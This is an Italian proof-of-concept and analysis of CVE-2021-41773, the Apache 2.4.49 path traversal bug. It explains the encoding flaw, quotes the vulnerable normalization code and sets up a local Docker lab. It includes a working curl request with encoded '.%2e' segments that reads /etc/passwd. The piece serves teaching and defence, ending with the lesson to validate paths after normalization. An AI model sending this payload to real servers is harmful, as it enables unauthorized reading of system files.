
PoC e analisi di CVE-2021-41773
CVE-2021-41773 è una vulnerabilità di path traversal che colpisce Apache HTTP Server 2.4.49.
La vulnerabilità consente a un attaccante di accedere a file al di fuori della directory prevista in specifiche configurazioni, in particolare quando le directory sono esposte tramite Alias, ScriptAlias o altre direttive simili ad Alias.
La vulnerabilità esiste a causa di una gestione impropria della normalizzazione e canonicalizzazione del percorso URL. Apache eseguiva i controlli di sicurezza su una rappresentazione del percorso che poteva ancora contenere caratteri codificati, consentendo agli attaccanti di aggirare il rilevamento del traversal utilizzando sequenze di punti codificate.
Un attaccante può creare un URL malevolo contenente sequenze di traversal codificate come:
.%2e
dove:
%2e = .
Pertanto:
.%2e
viene convertito in:
..
dopo la decodifica.
Se Apache valida la rappresentazione codificata prima di risolverla nella sua forma canonica, il controllo del traversal può essere aggirato.
Uno sfruttamento riuscito può consentire a un attaccante di leggere file arbitrari dal filesystem.
Esempio di destinazione:
/etc/passwd
La logica vulnerabile si trova in:
server/util.c
all'interno di:
ap_normalize_path()
Codice vulnerabile di Apache 2.4.49:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
Il codice vulnerabile tenta di identificare pattern di directory traversal:
../
controllando la presenza di punti consecutivi:
path[l + 1] == '.'
Tuttavia, un attaccante può fornire una sequenza di traversal codificata:
/.%2e/
Al momento del controllo di normalizzazione, Apache processa:
.%2e
invece di:
..
Poiché:
%2e != .
la logica di rilevamento del traversal non riconosce la sequenza come:
../
Il percorso viene quindi interpretato nella sua forma decodificata, consentendo il traversal.
Il comportamento vulnerabile può essere rappresentato come:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
La decisione di sicurezza viene presa prima che il percorso raggiunga la sua rappresentazione canonica finale.
Un approccio più sicuro è:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
I controlli di sicurezza dovrebbero essere sempre eseguiti sulla rappresentazione normalizzata finale.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Invia una richiesta contenente una sequenza di traversal codificata:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Uno sfruttamento riuscito restituisce il contenuto di:
/etc/passwd
Esempio:
root:x:0:0:root:/root:/bin/bash
Una risposta 403 Forbidden non significa necessariamente che lo sfruttamento sia fallito.
Durante i test, Apache può normalizzare correttamente:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
in:
/etc/passwd
ma negare l'accesso a causa dei permessi del filesystem o delle regole di autorizzazione di Apache.
Esempio:
client denied by server configuration: /etc/passwd
Questo indica che il traversal è avvenuto con successo, ma il controllo degli accessi ha impedito la divulgazione del file.
CVE-2021-41773 è un classico esempio di vulnerabilità di canonicalizzazione.
L'input controllato dall'utente può avere più rappresentazioni:
.%2e
e:
..
Sebbene abbiano un aspetto diverso, rappresentano lo stesso componente del percorso.
I controlli di sicurezza devono essere sempre eseguiti dopo la decodifica e la normalizzazione. Validare una rappresentazione codificata o ambigua può portare a bypass di sicurezza.